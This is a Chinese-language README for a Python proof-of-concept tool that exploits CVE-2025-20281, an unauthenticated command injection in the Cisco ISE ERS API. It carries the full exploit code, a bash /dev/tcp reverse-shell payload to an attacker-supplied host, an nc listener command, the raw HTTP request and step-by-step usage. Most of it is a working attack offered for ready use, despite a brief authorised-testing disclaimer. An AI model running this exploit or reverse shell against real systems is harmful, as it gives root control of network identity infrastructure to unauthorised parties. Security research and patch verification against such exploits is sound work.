CVE-2025-20281 - Cisco ISE 未认证 RCE 利用工具
一个轻量级的 Python 概念验证(PoC)工具,用于利用 Cisco ISE(Identity Services Engine)ERS API 中的未认证远程代码执行漏洞(CVE-2025-20281)。该工具通过向 InternalUser 资源注入恶意 shell 命令,实现无需任何身份验证的远程代码执行。
⚠️ 重要警告: 本工具仅供安全研究和授权测试使用。未经目标系统所有者明确许可使用此工具属于违法行为,使用者需自行承担所有法律责任。
功能特性
- 🔓 无需身份验证:直接利用 ERS API 的未授权访问漏洞
- 🎯 双模式支持:
--whoami:执行whoami命令并返回当前用户身份信息--reverse:建立反向 Bash Shell,方便远程交互式控制
- 🛡️ 绕过 SSL 警告:自动禁用自签名证书验证警告
- ⚡ 简单易用:单文件脚本,依赖极少,开箱即用
安装指南
系统要求
- Python 3.6 或更高版本
- 目标 Cisco ISE 系统可访问(默认端口:9060)
安装依赖
pip install requests urllib3
下载脚本
git clone https://github.com/your-repo/CVE-2025-20281-Cisco-ISE-RCE.git
cd CVE-2025-20281-Cisco-ISE-RCE
使用说明
基础用法
python cve_2025_20281_exploit.py <target_ip> [--whoami | --reverse LHOST LPORT]
使用场景
1. 探测目标 - 执行 whoami
验证目标是否存在漏洞并获取当前执行用户身份:
python cve_2025_20281_exploit.py 192.168.1.100 --whoami
预期输出:
[*] Target: 192.168.1.100
[*] Command: whoami
[+] HTTP 200
[response body containing command output]
2. 获取反向 Shell
在目标主机上建立反向 Bash Shell 连接:
# 首先在攻击者机器上启动监听
nc -lvnp 4444
# 执行利用脚本
python cve_2025_20281_exploit.py 192.168.1.100 --reverse 192.168.1.50 4444
预期输出:
[*] Target: 192.168.1.100
[*] Command: /bin/bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
[+] HTTP 200
此时监听端将获得一个交互式 Bash Shell。
参数说明
| 参数 | 类型 | 必填 | 描述 |
|---|---|---|---|
target | 位置参数 | ✅ | Cisco ISE PAN 的 IP 地址或主机名 |
--whoami | 标志 | ❌* | 执行 whoami 命令并输出结果 |
--reverse | 参数 | ❌* | 生成反向 Shell,需指定 LHOST 和 LPORT |
*
--whoami和--reverse必须二选一,且为必选项。
核心代码
漏洞利用核心函数
def exploit_cve_2025_20281_unauth(target, cmd):
"""
向 Cisco ISE ERS API 发送精心构造的 POST 请求,
利用 CVE-2025-20281 漏洞实现未认证远程代码执行
漏洞原理:InternalUser 资源的 name 字段未进行充分过滤,
允许注入 shell 命令并以 root 权限执行
参数:
target: 目标 ISE 设备的 IP 或主机名
cmd: 要执行的系统命令
返回:
打印 HTTP 响应状态码和响应正文
"""
# 构建利用 URL(默认端口 9060)
url = f"https://{target}:9060/ers/sdk#_"
# 构造恶意 payload - name 字段包含命令注入
payload = {
"InternalUser": {
"name": f"pwn; {cmd}; #", # 注入点:命令执行
"password": "x", # 任意值,漏洞无需认证
"changePassword": False
}
}
# 发送 POST 请求(禁用 SSL 验证以绕过自签名证书)
r = requests.post(url, json=payload, verify=False)
print(f"[+] HTTP {r.status_code}\n{r.text}\n")
反弹 Shell 生成函数
def build_reverse_shell(lhost, lport):
"""
生成 Bash 反向 Shell 命令字符串
使用 Bash 内置的 /dev/tcp 伪设备建立 TCP 连接,
将标准输入/输出/错误重定向到远程监听端
参数:
lhost: 攻击者监听 IP 地址
lport: 攻击者监听端口
返回:
完整的 Bash 反向 Shell 命令字符串
"""
return f"/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
命令行入口与参数解析
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description="Unauthenticated PoC for CVE-2025-20281 on Cisco ISE ERS"
)
parser.add_argument('target', help="IP or hostname of the ISE PAN")
# 互斥命令组:必须选择 --whoami 或 --reverse
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
'--whoami',
action='store_true',
help="Run 'whoami' and print the result"
)
group.add_argument(
'--reverse',
nargs=2,
metavar=('LHOST', 'LPORT'),
help="Spawn a bash reverse shell to LHOST:LPORT"
)
args = parser.parse_args()
# 根据参数构建目标命令
if args.whoami:
cmd = 'whoami'
else:
lhost, lport = args.reverse
cmd = build_reverse_shell(lhost, lport)
print(f"[*] Target: {args.target}")
print(f"[*] Command: {cmd}\n")
exploit_cve_2025_20281_unauth(args.target, cmd)
技术细节
漏洞原理
CVE-2025-20281 存在于 Cisco ISE 的 ERS(External RESTful Services)API 中。在处理 InternalUser 资源的创建或更新请求时,name 字段的值未经充分验证直接用于系统命令拼接,导致攻击者可以通过注入 shell 元字符(如 ;、|、& 等)在底层操作系统上以 root 权限执行任意命令。
利用路径
POST /ers/sdk#_ HTTP/1.1
Host: target:9060
Content-Type: application/json
{
"InternalUser": {
"name": "pwn; <injected_command>; #",
"password": "x",
"changePassword": false
}
}
端口说明
- 默认利用端口:
9060(Cisco ISE ERS API 默认端口) - 如需修改,可编辑脚本中的
url变量 6HFtX5dABrKlqXeO5PUv//m9sf0BmWAs5Otb5r1oxq49b8p/1OQk7NgKYBRqZ1BJ